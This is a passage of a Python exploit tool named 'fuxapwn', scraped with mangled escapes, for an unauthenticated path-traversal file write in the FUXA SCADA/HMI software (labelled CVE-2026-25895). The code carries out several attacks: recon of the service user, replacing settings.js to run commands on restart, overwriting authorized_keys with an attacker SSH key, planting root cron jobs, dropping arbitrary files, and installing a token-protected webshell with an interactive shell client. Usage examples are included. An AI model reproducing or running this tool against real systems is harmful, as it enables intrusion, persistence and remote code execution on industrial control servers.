try:\\r\\n                with open(args.home_wordlist, \\&#8221;rb\\&#8221;) as f:\\r\\n                    raw = f.read()\\r\\n            except OSError as e:\\r\\n                print(f\\&#8221;[-] Could not read &#8211;home-wordlist {args.home_wordlist}: \\&#8221;\\r\\n                      f\\&#8221;{e}\\&#8221;, flush=True)\\r\\n                return 2\\r\\n            if raw.startswith(b\\&#8221;\\\\xff\\\\xfe\\&#8221;):\\r\\n                text = raw.decode(\\&#8221;utf-16-le\\&#8221;).lstrip(\\&#8221;\\\\ufeff\\&#8221;)\\r\\n            elif raw.startswith(b\\&#8221;\\\\xfe\\\\xff\\&#8221;):\\r\\n                text = raw.decode(\\&#8221;utf-16-be\\&#8221;).lstrip(\\&#8221;\\\\ufeff\\&#8221;)\\r\\n            elif raw.startswith(b\\&#8221;\\\\xef\\\\xbb\\\\xbf\\&#8221;):\\r\\n                text = raw.decode(\\&#8221;utf-8-sig\\&#8221;)\\r\\n            else:\\r\\n                try:\\r\\n                    text = raw.decode(\\&#8221;utf-8\\&#8221;)\\r\\n                except UnicodeDecodeError:\\r\\n                    text = raw.decode(\\&#8221;latin-1\\&#8221;)\\r\\n            home_candidates = [\\r\\n                line.strip() for line in text.splitlines()\\r\\n                if line.strip() and not line.strip().startswith(\\&#8221;#\\&#8221;)\\r\\n            ]\\r\\n            if not home_candidates:\\r\\n                print(f\\&#8221;[-] &#8211;home-wordlist {args.home_wordlist} is empty after \\&#8221;\\r\\n                      \\&#8221;stripping comments\/blanks.\\&#8221;, flush=True)\\r\\n                return 2\\r\\n            print(f\\&#8221;[*] Loaded {len(home_candidates)} home candidate(s) from \\&#8221;\\r\\n                  f\\&#8221;{args.home_wordlist}\\&#8221;, flush=True)\\r\\n\\r\\n        return do_recon(ex, depth=args.depth,\\r\\n                        probe_root=args.probe_root,\\r\\n                        probe_home=args.probe_home,\\r\\n                        home_candidates=home_candidates)\\r\\n\\r\\n    # Everything else uses the write primitive; start with the reachability +\\r\\n    # canary checks we&#8217;ve always done.\\r\\n    ok, info = ex.fingerprint()\\r\\n    if not ok:\\r\\n        print(f\\&#8221;[-] \/api\/version reachability failed: {info}\\&#8221;, flush=True)\\r\\n        if not args.force:\\r\\n            return 1\\r\\n        print(\\&#8221;[!] &#8211;force given, continuing anyway\\&#8221;, flush=True)\\r\\n    else:\\r\\n        print(f\\&#8221;[+] \/api\/version reachable, banner='{info}&#8217;\\&#8221;, flush=True)\\r\\n\\r\\n    # webshell-exec is a pure client mode \u2014 no canary write.\\r\\n    if args.mode == \\&#8221;webshell-exec\\&#8221;:\\r\\n        if not (args.ws_host and args.ws_port and args.ws_path\\r\\n                and args.ws_token):\\r\\n            print(\\&#8221;[-] &#8211;ws-host, &#8211;ws-port, &#8211;ws-path, and &#8211;ws-token are \\&#8221;\\r\\n                  \\&#8221;all required for mode=webshell-exec\\&#8221;, flush=True)\\r\\n            return 2\\r\\n        client = FuxaWebshellClient(\\r\\n            host=args.ws_host,\\r\\n            port=args.ws_port,\\r\\n            ws_path=args.ws_path,\\r\\n            ws_token=args.ws_token,\\r\\n            timeout=args.timeout + 60,\\r\\n            use_tls=args.ws_tls,\\r\\n            verify_tls=not args.insecure,\\r\\n            proxy=args.proxy,\\r\\n        )\\r\\n        if args.interact:\\r\\n            _interactive_loop(client)\\r\\n            return 0\\r\\n        if not args.ws_cmd:\\r\\n            print(\\&#8221;[-] &#8211;ws-cmd is required for mode=webshell-exec without \\&#8221;\\r\\n                  \\&#8221;&#8211;interact\\&#8221;, flush=True)\\r\\n            return 2\\r\\n        code, body = client.exec(args.ws_cmd)\\r\\n        if code != 200:\\r\\n            print(f\\&#8221;[-] HTTP {code}: {body}\\&#8221;, flush=True)\\r\\n            return 1\\r\\n        sys.stdout.write(body)\\r\\n        if body and not body.endswith(\\&#8221;\\\\n\\&#8221;):\\r\\n            sys.stdout.write(\\&#8221;\\\\n\\&#8221;)\\r\\n        sys.stdout.flush()\\r\\n        return 0\\r\\n\\r\\n    # 1) Run the proof-of-write canary first so we know the path traversal\\r\\n    #    works on this instance before dropping anything heavier. Skippable\\r\\n    #    via &#8211;no-canary for engagements where the extra filesystem artifact\\r\\n    #    is undesirable.\\r\\n    if args.no_canary:\\r\\n        print(\\&#8221;[*] Stage 1 \u2014 canary SKIPPED (&#8211;no-canary). Proceeding \\&#8221;\\r\\n              \\&#8221;straight to mode-specific payload.\\&#8221;, flush=True)\\r\\n    else:\\r\\n        canary_path = args.canary or \\&#8221;\/tmp\/healthcheck\\&#8221;\\r\\n        if args.canary_content:\\r\\n            try:\\r\\n                with open(args.canary_content, \\&#8221;rb\\&#8221;) as f:\\r\\n                    canary_body = f.read()\\r\\n            except OSError as e:\\r\\n                print(f\\&#8221;[-] Could not read &#8211;canary-content \\&#8221;\\r\\n                      f\\&#8221;{args.canary_content}: {e}\\&#8221;, flush=True)\\r\\n                return 2\\r\\n        else:\\r\\n            canary_body = payload_proof(args.url)\\r\\n        print(f\\&#8221;[*] Stage 1 \u2014 proof-of-write canary -\\u003e {canary_path}\\&#8221;,\\r\\n              flush=True)\\r\\n        res = ex.write_arbitrary(canary_path, canary_body,\\r\\n                                 appdir_depth=args.depth)\\r\\n        print(f\\&#8221;    HTTP {res[&#8216;status_code&#8217;]}  bytes={res[&#8216;wrote_bytes&#8217;]}  \\&#8221;\\r\\n              f\\&#8221;server={res[&#8216;response_text&#8217;]!r}\\&#8221;, flush=True)\\r\\n        if res[\\&#8221;success\\&#8221;]:\\r\\n            print(f\\&#8221;[!] Canary left on target: {canary_path}  \\&#8221;\\r\\n                  f\\&#8221;(clean up once you have exec)\\&#8221;, flush=True)\\r\\n        else:\\r\\n            errno = res.get(\\&#8221;errno\\&#8221;)\\r\\n            if errno == \\&#8221;EACCES\\&#8221;:\\r\\n                print(\\&#8221;[-] Canary write failed (EACCES). FUXA lacks write \\&#8221;\\r\\n                      \\&#8221;permission at the canary path. Use &#8211;canary to pick \\&#8221;\\r\\n                      \\&#8221;a writable target (FUXA&#8217;s own _appdata dir, \/tmp, \\&#8221;\\r\\n                      \\&#8221;or \/home\/\\u003cfuxa-user\\u003e\/).\\&#8221;, flush=True)\\r\\n            elif errno == \\&#8221;ENOENT\\&#8221;:\\r\\n                print(\\&#8221;[-] Canary write failed (ENOENT). The parent directory \\&#8221;\\r\\n                      \\&#8221;of the canary path does not exist on the target. Use \\&#8221;\\r\\n                      \\&#8221;&#8211;canary to point at an existing directory.\\&#8221;,\\r\\n                      flush=True)\\r\\n            else:\\r\\n                print(\\&#8221;[-] Canary write failed. The instance may already be \\&#8221;\\r\\n                      \\&#8221;patched, secured by an upstream WAF, or the appDir \\&#8221;\\r\\n                      \\&#8221;depth is wrong (try &#8211;depth 12).\\&#8221;, flush=True)\\r\\n            if not args.force:\\r\\n                return 1\\r\\n\\r\\n    # 2) Mode-specific follow-up\\r\\n    if args.mode == \\&#8221;canary\\&#8221;:\\r\\n        print(\\&#8221;[+] Done. Canary stage only (use &#8211;mode for more).\\&#8221;, flush=True)\\r\\n        return 0\\r\\n\\r\\n    if args.mode == \\&#8221;settings-rce\\&#8221;:\\r\\n        if not args.cmd:\\r\\n            print(\\&#8221;[-] &#8211;cmd is required for mode=settings-rce\\&#8221;, flush=True)\\r\\n            return 2\\r\\n        if not args.appdata:\\r\\n            print(\\&#8221;[-] &#8211;appdata is required for mode=settings-rce \\&#8221;\\r\\n                  \\&#8221;(absolute path to FUXA&#8217;s _appdata directory, e.g. \\&#8221;\\r\\n                  \\&#8221;\/tmp\/FUXA-1.2.9\/server\/_appdata)\\&#8221;, flush=True)\\r\\n            return 2\\r\\n        real_settings = _fetch_real_settings_for_payload(ex)\\r\\n        target = posixpath.join(args.appdata.replace(\\&#8221;\\\\\\\\\\&#8221;, \\&#8221;\/\\&#8221;), \\&#8221;settings.js\\&#8221;)\\r\\n        print(f\\&#8221;[*] Stage 2 \u2014 writing replacement settings.js to {target}\\&#8221;,\\r\\n              flush=True)\\r\\n        res = ex.write_arbitrary(target,\\r\\n                                 payload_settings_js_rce(args.cmd,\\r\\n                                                         real_settings),\\r\\n                                 appdir_depth=args.depth,\\r\\n                                 file_type=\\&#8221;svg\\&#8221;)  # svg = raw text write\\r\\n        print(f\\&#8221;    HTTP {res[&#8216;status_code&#8217;]}  bytes={res[&#8216;wrote_bytes&#8217;]}  \\&#8221;\\r\\n              f\\&#8221;server={res[&#8216;response_text&#8217;]!r}\\&#8221;, flush=True)\\r\\n        if not res[\\&#8221;success\\&#8221;]:\\r\\n            errno = res.get(\\&#8221;errno\\&#8221;)\\r\\n            if errno:\\r\\n                print(f\\&#8221;[-] Write failed with errno={errno}.\\&#8221;, flush=True)\\r\\n            return 1\\r\\n        print(\\&#8221;[+] settings.js replaced. Payload will execute on the next \\&#8221;\\r\\n              \\&#8221;FUXA process start (admin restart, package update, host \\&#8221;\\r\\n              \\&#8221;reboot, or watchdog respawn).\\&#8221;, flush=True)\\r\\n        return 0\\r\\n\\r\\n    if args.mode == \\&#8221;ssh-key\\&#8221;:\\r\\n        if not args.pubkey:\\r\\n            print(\\&#8221;[-] &#8211;pubkey FILE is required for mode=ssh-key\\&#8221;, flush=True)\\r\\n            return 2\\r\\n        if not args.home:\\r\\n            print(\\&#8221;[-] &#8211;home is required for mode=ssh-key (e.g. \/home\/fuxa \\&#8221;\\r\\n                  \\&#8221;or \/root, depending on which user FUXA runs as \u2014 \\&#8221;\\r\\n                  \\&#8221;determine this with &#8211;mode recon first)\\&#8221;, flush=True)\\r\\n            return 2\\r\\n        with open(args.pubkey, \\&#8221;r\\&#8221;, encoding=\\&#8221;utf-8\\&#8221;) as f:\\r\\n            pubkey = f.read()\\r\\n        home_posix = args.home.replace(\\&#8221;\\\\\\\\\\&#8221;, \\&#8221;\/\\&#8221;).rstrip(\\&#8221;\/\\&#8221;)\\r\\n        target = posixpath.join(home_posix, \\&#8221;.ssh\\&#8221;, \\&#8221;authorized_keys\\&#8221;)\\r\\n\\r\\n        # Derive the account name from the home path for the success hint.\\r\\n        # \/home\/anthony -\\u003e anthony, \/root -\\u003e root, otherwise leave placeholder.\\r\\n        if home_posix == \\&#8221;\/root\\&#8221;:\\r\\n            target_user = \\&#8221;root\\&#8221;\\r\\n        elif home_posix.startswith(\\&#8221;\/home\/\\&#8221;):\\r\\n            target_user = home_posix[len(\\&#8221;\/home\/\\&#8221;):].split(\\&#8221;\/\\&#8221;, 1)[0] or \\&#8221;\\u003cuser\\u003e\\&#8221;\\r\\n        else:\\r\\n            target_user = \\&#8221;\\u003cuser\\u003e\\&#8221;\\r\\n\\r\\n        # The write primitive can only OVERWRITE the file \u2014 we have no read\\r\\n        # primitive, so we cannot read-then-append to preserve existing keys.\\r\\n        # Announce this loudly so the operator doesn&#8217;t brick legitimate\\r\\n        # access for the real account owner.\\r\\n        print(\\&#8221;[!] WARNING: this mode OVERWRITES the entire authorized_keys \\&#8221;\\r\\n              \\&#8221;file. Any keys currently authorized for this account will no \\&#8221;\\r\\n              \\&#8221;longer work. For engagements where that matters, install a \\&#8221;\\r\\n              \\&#8221;webshell first, use it to `cat` the existing authorized_keys, \\&#8221;\\r\\n              \\&#8221;append your key locally, then `&#8211;mode drop` the combined \\&#8221;\\r\\n              f\\&#8221;file back to {target}.\\&#8221;, flush=True)\\r\\n        print(f\\&#8221;[*] Stage 2 \u2014 writing (OVERWRITE) pubkey -\\u003e {target}\\&#8221;,\\r\\n              flush=True)\\r\\n        res = ex.write_arbitrary(target,\\r\\n                                 payload_authorized_keys(pubkey),\\r\\n                                 appdir_depth=args.depth,\\r\\n                                 file_type=\\&#8221;svg\\&#8221;)\\r\\n        print(f\\&#8221;    HTTP {res[&#8216;status_code&#8217;]}  bytes={res[&#8216;wrote_bytes&#8217;]}  \\&#8221;\\r\\n              f\\&#8221;server={res[&#8216;response_text&#8217;]!r}\\&#8221;, flush=True)\\r\\n        if res[\\&#8221;success\\&#8221;]:\\r\\n            # Figure out the host:port for the hint string from &#8211;url.\\r\\n            parsed = urlparse(args.url)\\r\\n            host_hint = parsed.hostname or \\&#8221;\\u003ctarget-host\\u003e\\&#8221;\\r\\n            print(f\\&#8221;[+] Key written. Try:  ssh -i {args.pubkey.replace(&#8216;.pub&#8217;, &#8221;)} \\&#8221;\\r\\n                  f\\&#8221;{target_user}@{host_hint}\\&#8221;, flush=True)\\r\\n            return 0\\r\\n\\r\\n        errno = res.get(\\&#8221;errno\\&#8221;)\\r\\n        if errno == \\&#8221;ENOENT\\&#8221;:\\r\\n            print(f\\&#8221;[-] Write failed (ENOENT) \u2014 {home_posix}\/.ssh\/ likely does \\&#8221;\\r\\n                  \\&#8221;not exist on the target. fs.writeFileSync cannot create \\&#8221;\\r\\n                  \\&#8221;parent directories. Workaround: drop a webshell or cron \\&#8221;\\r\\n                  f\\&#8221;payload first, run `mkdir -p {home_posix}\/.ssh \\u0026\\u0026 chmod \\&#8221;\\r\\n                  f\\&#8221;700 {home_posix}\/.ssh` through it, then retry this mode.\\&#8221;,\\r\\n                  flush=True)\\r\\n        elif errno == \\&#8221;EACCES\\&#8221;:\\r\\n            print(f\\&#8221;[-] Write failed (EACCES) \u2014 FUXA does not have write \\&#8221;\\r\\n                  f\\&#8221;access to {home_posix}\/.ssh\/. Either &#8211;home is wrong \\&#8221;\\r\\n                  \\&#8221;(recon with &#8211;probe-home to confirm the running user), \\&#8221;\\r\\n                  \\&#8221;or the directory is mode 0700 owned by a different user.\\&#8221;,\\r\\n                  flush=True)\\r\\n        elif errno:\\r\\n            print(f\\&#8221;[-] Write failed with errno={errno}.\\&#8221;, flush=True)\\r\\n        return 1\\r\\n\\r\\n    if args.mode == \\&#8221;drop\\&#8221;:\\r\\n        if not args.target or args.payload_file is None:\\r\\n            print(\\&#8221;[-] &#8211;target and &#8211;payload-file are required for mode=drop\\&#8221;,\\r\\n                  flush=True)\\r\\n            return 2\\r\\n        with open(args.payload_file, \\&#8221;rb\\&#8221;) as f:\\r\\n            content = f.read()\\r\\n        print(f\\&#8221;[*] Stage 2 \u2014 dropping {args.payload_file} ({len(content)} B)\\&#8221;\\r\\n              f\\&#8221; -\\u003e {args.target}\\&#8221;, flush=True)\\r\\n        res = ex.write_arbitrary(args.target, content,\\r\\n                                 appdir_depth=args.depth,\\r\\n                                 file_type=args.file_type)\\r\\n        print(f\\&#8221;    HTTP {res[&#8216;status_code&#8217;]}  bytes={res[&#8216;wrote_bytes&#8217;]}  \\&#8221;\\r\\n              f\\&#8221;server={res[&#8216;response_text&#8217;]!r}\\&#8221;, flush=True)\\r\\n        if not res[\\&#8221;success\\&#8221;]:\\r\\n            errno = res.get(\\&#8221;errno\\&#8221;)\\r\\n            if errno == \\&#8221;ENOENT\\&#8221;:\\r\\n                print(f\\&#8221;[-] Drop failed (ENOENT). The parent directory of \\&#8221;\\r\\n                      f\\&#8221;{args.target} does not exist \u2014 fs.writeFileSync won&#8217;t \\&#8221;\\r\\n                      \\&#8221;mkdir. Use an existing directory, or drop a webshell \\&#8221;\\r\\n                      \\&#8221;first and run `mkdir -p` through it.\\&#8221;, flush=True)\\r\\n            elif errno == \\&#8221;EACCES\\&#8221;:\\r\\n                print(f\\&#8221;[-] Drop failed (EACCES). FUXA lacks write permission \\&#8221;\\r\\n                      f\\&#8221;at {args.target}. Target a directory owned by (or \\&#8221;\\r\\n                      \\&#8221;writable by) the FUXA service user.\\&#8221;, flush=True)\\r\\n            elif errno:\\r\\n                print(f\\&#8221;[-] Drop failed with errno={errno}.\\&#8221;, flush=True)\\r\\n            return 1\\r\\n        return 0\\r\\n\\r\\n    if args.mode == \\&#8221;cron\\&#8221;:\\r\\n        if not args.cron_cmd:\\r\\n            print(\\&#8221;[-] &#8211;cron-cmd is required for mode=cron\\&#8221;, flush=True)\\r\\n            return 2\\r\\n        cron_path = args.cron_path\\r\\n        schedule = args.cron_schedule\\r\\n\\r\\n        # Decide whether to include a user field, based on the cron file\\r\\n        # format conventions. \/etc\/cron.d\/* and \/etc\/crontab require one;\\r\\n        # \/var\/spool\/cron\/crontabs\/\\u003cuser\\u003e style files must NOT have one.\\r\\n        if args.cron_user is None:\\r\\n            if cron_path.startswith(\\&#8221;\/etc\/cron.d\/\\&#8221;) or cron_path == \\&#8221;\/etc\/crontab\\&#8221;:\\r\\n                user_field: Optional[str] = \\&#8221;root\\&#8221;\\r\\n            else:\\r\\n                user_field = None\\r\\n        elif args.cron_user == \\&#8221;\\&#8221;:\\r\\n            user_field = None\\r\\n        else:\\r\\n            user_field = args.cron_user\\r\\n\\r\\n        body = payload_cron_job(schedule, user_field, args.cron_cmd)\\r\\n        print(f\\&#8221;[*] Cron file   : {cron_path}\\&#8221;, flush=True)\\r\\n        print(f\\&#8221;[*] Schedule    : {schedule}\\&#8221;, flush=True)\\r\\n        print(f\\&#8221;[*] Run-as user : {user_field or &#8216;(none \u2014 user-crontab format)&#8217;}\\&#8221;,\\r\\n              flush=True)\\r\\n        print(f\\&#8221;[*] Command     : {args.cron_cmd}\\&#8221;, flush=True)\\r\\n        print(f\\&#8221;[*] Body:\\\\n{body.decode(&#8216;utf-8&#8242;, errors=&#8217;replace&#8217;).rstrip()}\\&#8221;,\\r\\n              flush=True)\\r\\n        print(f\\&#8221;[*] Stage 2 \u2014 writing cron file\\&#8221;, flush=True)\\r\\n        res = ex.write_arbitrary(cron_path, body,\\r\\n                                 appdir_depth=args.depth,\\r\\n                                 file_type=\\&#8221;svg\\&#8221;)\\r\\n        print(f\\&#8221;    HTTP {res[&#8216;status_code&#8217;]}  bytes={res[&#8216;wrote_bytes&#8217;]}  \\&#8221;\\r\\n              f\\&#8221;server={res[&#8216;response_text&#8217;]!r}\\&#8221;, flush=True)\\r\\n        if not res[\\&#8221;success\\&#8221;]:\\r\\n            errno = res.get(\\&#8221;errno\\&#8221;)\\r\\n            if errno == \\&#8221;EACCES\\&#8221;:\\r\\n                print(f\\&#8221;[-] Cron write failed (EACCES). FUXA is NOT running \\&#8221;\\r\\n                      f\\&#8221;as a user that can write {cron_path}. For non-root \\&#8221;\\r\\n                      \\&#8221;FUXA, try \/var\/spool\/cron\/crontabs\/\\u003cfuxa-user\\u003e \\&#8221;\\r\\n                      \\&#8221;(Debian\/Vixie) or \/var\/spool\/cron\/\\u003cfuxa-user\\u003e \\&#8221;\\r\\n                      \\&#8221;(RHEL\/cronie). Note: those user-crontab paths usually \\&#8221;\\r\\n                      \\&#8221;require mode 0600 which fs.writeFileSync cannot set \u2014 \\&#8221;\\r\\n                      \\&#8221;cronie accepts, Vixie rejects. Use &#8211;mode recon \\&#8221;\\r\\n                      \\&#8221;&#8211;probe-home to confirm the running user first.\\&#8221;,\\r\\n                      flush=True)\\r\\n            elif errno == \\&#8221;ENOENT\\&#8221;:\\r\\n                print(f\\&#8221;[-] Cron write failed (ENOENT). Parent directory of \\&#8221;\\r\\n                      f\\&#8221;{cron_path} doesn&#8217;t exist on this target \u2014 cron is \\&#8221;\\r\\n                      \\&#8221;either not installed or uses a different layout.\\&#8221;,\\r\\n                      flush=True)\\r\\n            elif errno:\\r\\n                print(f\\&#8221;[-] Cron write failed with errno={errno}.\\&#8221;, flush=True)\\r\\n            else:\\r\\n                print(\\&#8221;[-] Cron write failed. Common causes: FUXA is not \\&#8221;\\r\\n                      \\&#8221;running as root (cannot write into \/etc\/cron.d\/), the \\&#8221;\\r\\n                      \\&#8221;target uses a cron variant that requires mode 0600 on \\&#8221;\\r\\n                      \\&#8221;user-crontab files, or the cron path on this distro \\&#8221;\\r\\n                      \\&#8221;is different. Use &#8211;mode recon to confirm the running \\&#8221;\\r\\n                      \\&#8221;user before retrying.\\&#8221;, flush=True)\\r\\n            return 1\\r\\n        if cron_path.startswith(\\&#8221;\/etc\/cron.d\/\\&#8221;):\\r\\n            print(\\&#8221;[+] \/etc\/cron.d\/ is re-read by cron every minute; expect \\&#8221;\\r\\n                  \\&#8221;first execution within 60 s. No FUXA restart required.\\&#8221;,\\r\\n                  flush=True)\\r\\n        else:\\r\\n            print(\\&#8221;[+] Cron file written. First execution within 60 s if \\&#8221;\\r\\n                  \\&#8221;the cron daemon accepts this path and mode (user-crontab \\&#8221;\\r\\n                  \\&#8221;paths often require 0600 \u2014 validate on target). No FUXA \\&#8221;\\r\\n                  \\&#8221;restart required.\\&#8221;, flush=True)\\r\\n        return 0\\r\\n\\r\\n    if args.mode == \\&#8221;webshell\\&#8221;:\\r\\n        # Required input: the _appdata directory where settings.js lives.\\r\\n        if not args.appdata:\\r\\n            print(\\&#8221;[-] &#8211;appdata is required for mode=webshell \\&#8221;\\r\\n                  \\&#8221;(absolute path to FUXA&#8217;s _appdata directory, e.g. \\&#8221;\\r\\n                  \\&#8221;\/tmp\/FUXA-1.2.9\/server\/_appdata)\\&#8221;, flush=True)\\r\\n            return 2\\r\\n\\r\\n        # Generate secrets if the operator didn&#8217;t supply them. Reusing the\\r\\n        # same values across runs makes &#8211;mode webshell-exec \/ &#8211;interact\\r\\n        # trivial, so we echo them back prominently.\\r\\n        ws_port = args.ws_port\\r\\n        ws_path = args.ws_path or (\\&#8221;\/_\\&#8221; + secrets.token_hex(12))\\r\\n        if not ws_path.startswith(\\&#8221;\/\\&#8221;):\\r\\n            ws_path = \\&#8221;\/\\&#8221; + ws_path\\r\\n        ws_token = args.ws_token or secrets.token_urlsafe(24)\\r\\n\\r\\n        real_settings = _fetch_real_settings_for_payload(ex)\\r\\n        target = posixpath.join(args.appdata.replace(\\&#8221;\\\\\\\\\\&#8221;, \\&#8221;\/\\&#8221;), \\&#8221;settings.js\\&#8221;)\\r\\n        print(f\\&#8221;[*] Webshell port  : {ws_port}\\&#8221;, flush=True)\\r\\n        print(f\\&#8221;[*] Webshell path  : {ws_path}\\&#8221;, flush=True)\\r\\n        print(f\\&#8221;[*] Webshell token : {ws_token}\\&#8221;, flush=True)\\r\\n        print(f\\&#8221;[*] Stage 2 \u2014 writing webshell payload to {target}\\&#8221;,\\r\\n              flush=True)\\r\\n        res = ex.write_arbitrary(target,\\r\\n                                 payload_webshell_js(ws_port, ws_path,\\r\\n                                                     ws_token,\\r\\n                                                     real_settings),\\r\\n                                 appdir_depth=args.depth,\\r\\n                                 file_type=\\&#8221;svg\\&#8221;)  # svg = raw text write\\r\\n        print(f\\&#8221;    HTTP {res[&#8216;status_code&#8217;]}  bytes={res[&#8216;wrote_bytes&#8217;]}  \\&#8221;\\r\\n              f\\&#8221;server={res[&#8216;response_text&#8217;]!r}\\&#8221;, flush=True)\\r\\n        if not res[\\&#8221;success\\&#8221;]:\\r\\n            errno = res.get(\\&#8221;errno\\&#8221;)\\r\\n            if errno:\\r\\n                print(f\\&#8221;[-] Payload write failed with errno={errno}.\\&#8221;,\\r\\n                      flush=True)\\r\\n            else:\\r\\n                print(\\&#8221;[-] Payload write failed \u2014 see canary diagnostics \\&#8221;\\r\\n                      \\&#8221;above.\\&#8221;, flush=True)\\r\\n            return 1\\r\\n\\r\\n        print(\\&#8221;[+] Webshell payload installed. Listener activates on the \\&#8221;\\r\\n              \\&#8221;next FUXA cold start (admin restart, package update, host \\&#8221;\\r\\n              \\&#8221;reboot, watchdog\/pm2\/systemd respawn, docker restart). \\&#8221;\\r\\n              \\&#8221;Consider pairing with &#8211;mode cron for a near-immediate \\&#8221;\\r\\n              \\&#8221;execution window that doesn&#8217;t depend on FUXA restarting.\\&#8221;,\\r\\n              flush=True)\\r\\n\\r\\n        # Derive the target host from &#8211;url for helper strings and auto-interact.\\r\\n        parsed = urlparse(args.url)\\r\\n        host = parsed.hostname or \\&#8221;\\&#8221;\\r\\n        use_tls = parsed.scheme == \\&#8221;https\\&#8221;\\r\\n\\r\\n        curl_url = f\\&#8221;http{&#8216;s&#8217; if use_tls else &#8221;}:\/\/{host}:{ws_port}{ws_path}\\&#8221;\\r\\n        print(\\&#8221;\\\\n[*] Once FUXA restarts, reach the shell with either:\\&#8221;, flush=True)\\r\\n        print(f\\&#8221;    curl -s -H &#8216;X-Auth-Token: {ws_token}&#8217; \\\\\\\\\\\\n\\&#8221;\\r\\n              f\\&#8221;         &#8211;data-urlencode &#8216;cmd=id&#8217; &#8216;{curl_url}&#8217;\\&#8221;, flush=True)\\r\\n        print(f\\&#8221;    curl -s &#8216;{curl_url}?t={quote(ws_token, safe=&#8221;)}\\&#8221;\\r\\n              f\\&#8221;\\u0026cmd={quote(&#8216;id&#8217;, safe=&#8221;)}&#8217;\\&#8221;, flush=True)\\r\\n        print(f\\&#8221;    {sys.argv[0]} -u {args.url} &#8211;mode webshell-exec \\\\\\\\\\\\n\\&#8221;\\r\\n              f\\&#8221;         &#8211;ws-host {host} &#8211;ws-port {ws_port} \\\\\\\\\\\\n\\&#8221;\\r\\n              f\\&#8221;         &#8211;ws-path &#8216;{ws_path}&#8217; &#8211;ws-token &#8216;{ws_token}&#8217; \\\\\\\\\\\\n\\&#8221;\\r\\n              f\\&#8221;         &#8211;ws-cmd &#8216;id&#8217;\\&#8221;, flush=True)\\r\\n\\r\\n        if args.interact:\\r\\n            client = FuxaWebshellClient(\\r\\n                host=args.ws_host or host,\\r\\n                port=ws_port,\\r\\n                ws_path=ws_path,\\r\\n                ws_token=ws_token,\\r\\n                timeout=args.timeout + 60,\\r\\n                use_tls=(args.ws_tls or use_tls),\\r\\n                verify_tls=not args.insecure,\\r\\n                proxy=args.proxy,\\r\\n            )\\r\\n            _interactive_loop(client)\\r\\n\\r\\n        return 0\\r\\n\\r\\n    print(f\\&#8221;[-] Unknown mode: {args.mode}\\&#8221;, flush=True)\\r\\n    return 2\\r\\n\\r\\n\\r\\ndef parse_args(argv: list[str]) -\\u003e argparse.Namespace:\\r\\n    p = argparse.ArgumentParser(\\r\\n        prog=\\&#8221;fuxapwn\\&#8221;,\\r\\n        description=(\\&#8221;FUXA \\u003c=1.2.9 unauthenticated path-traversal arbitrary \\&#8221;\\r\\n                     \\&#8221;file write (CVE-2026-25895). Authorized testing only.\\&#8221;),\\r\\n        formatter_class=argparse.RawDescriptionHelpFormatter,\\r\\n        epilog=(\\r\\n            \\&#8221;Examples:\\\\n\\&#8221;\\r\\n            \\&#8221;  # Unauth recon \u2014 identify running user + Node-RED status:\\\\n\\&#8221;\\r\\n            \\&#8221;  %(prog)s -u http:\/\/target:1881 &#8211;mode recon\\\\n\\\\n\\&#8221;\\r\\n            \\&#8221;  # Same, plus an active probe that confirms whether FUXA is root:\\\\n\\&#8221;\\r\\n            \\&#8221;  %(prog)s -u http:\/\/target:1881 &#8211;mode recon &#8211;probe-root\\\\n\\\\n\\&#8221;\\r\\n            \\&#8221;  # Same, plus probe \/home\/\\u003cuser\\u003e\/ to name a non-root service user\\\\n\\&#8221;\\r\\n            \\&#8221;  # when install paths didn&#8217;t leak it:\\\\n\\&#8221;\\r\\n            \\&#8221;  %(prog)s -u http:\/\/target:1881 &#8211;mode recon \\\\\\\\\\\\n\\&#8221;\\r\\n            \\&#8221;       &#8211;probe-root &#8211;probe-home\\\\n\\\\n\\&#8221;\\r\\n            \\&#8221;  # Probe with a custom username wordlist (one name per line):\\\\n\\&#8221;\\r\\n            \\&#8221;  %(prog)s -u http:\/\/target:1881 &#8211;mode recon \\\\\\\\\\\\n\\&#8221;\\r\\n            \\&#8221;       &#8211;probe-home &#8211;home-wordlist .\/client-usernames.txt\\\\n\\\\n\\&#8221;\\r\\n            \\&#8221;  # Just prove the write primitive works:\\\\n\\&#8221;\\r\\n            \\&#8221;  %(prog)s -u http:\/\/target:1881 &#8211;mode canary\\\\n\\\\n\\&#8221;\\r\\n            \\&#8221;  # Drop a cron job that fires within 60s \u2014 works when FUXA runs\\\\n\\&#8221;\\r\\n            \\&#8221;  # as root (docker default) without waiting for a FUXA restart:\\\\n\\&#8221;\\r\\n            \\&#8221;  %(prog)s -u http:\/\/target:1881 &#8211;mode cron \\\\\\\\\\\\n\\&#8221;\\r\\n            \\&#8221;       &#8211;cron-cmd &#8216;id \\u003e \/tmp\/fx-cron.txt 2\\u003e\\u00261&#8217;\\\\n\\\\n\\&#8221;\\r\\n            \\&#8221;  # Replace settings.js so the next FUXA restart runs `id \\u003e \/tmp\/pwn`:\\\\n\\&#8221;\\r\\n            \\&#8221;  %(prog)s -u http:\/\/target:1881 &#8211;mode settings-rce \\\\\\\\\\\\n\\&#8221;\\r\\n            \\&#8221;       &#8211;appdata \/tmp\/FUXA-1.2.9\/server\/_appdata \\\\\\\\\\\\n\\&#8221;\\r\\n            \\&#8221;       &#8211;cmd &#8216;id \\u003e \/tmp\/pwn 2\\u003e\\u00261&#8217;\\\\n\\\\n\\&#8221;\\r\\n            \\&#8221;  # Drop an SSH key into the FUXA service user&#8217;s authorized_keys:\\\\n\\&#8221;\\r\\n            \\&#8221;  %(prog)s -u http:\/\/target:1881 &#8211;mode ssh-key \\\\\\\\\\\\n\\&#8221;\\r\\n            \\&#8221;       &#8211;home \/home\/anthony &#8211;pubkey ~\/.ssh\/id_ed25519.pub\\\\n\\\\n\\&#8221;\\r\\n            \\&#8221;  # Drop an arbitrary file:\\\\n\\&#8221;\\r\\n            \\&#8221;  %(prog)s -u http:\/\/target:1881 &#8211;mode drop \\\\\\\\\\\\n\\&#8221;\\r\\n            \\&#8221;       &#8211;target \/etc\/cron.d\/pwn &#8211;payload-file .\/cron.txt\\\\n\\\\n\\&#8221;\\r\\n            \\&#8221;  # Install an HTTP webshell listener via settings.js replacement,\\\\n\\&#8221;\\r\\n            \\&#8221;  # then drop into an interactive REPL once FUXA restarts:\\\\n\\&#8221;\\r\\n            \\&#8221;  %(prog)s -u http:\/\/target:1881 &#8211;mode webshell \\\\\\\\\\\\n\\&#8221;\\r\\n            \\&#8221;       &#8211;appdata \/tmp\/FUXA-1.2.9\/server\/_appdata 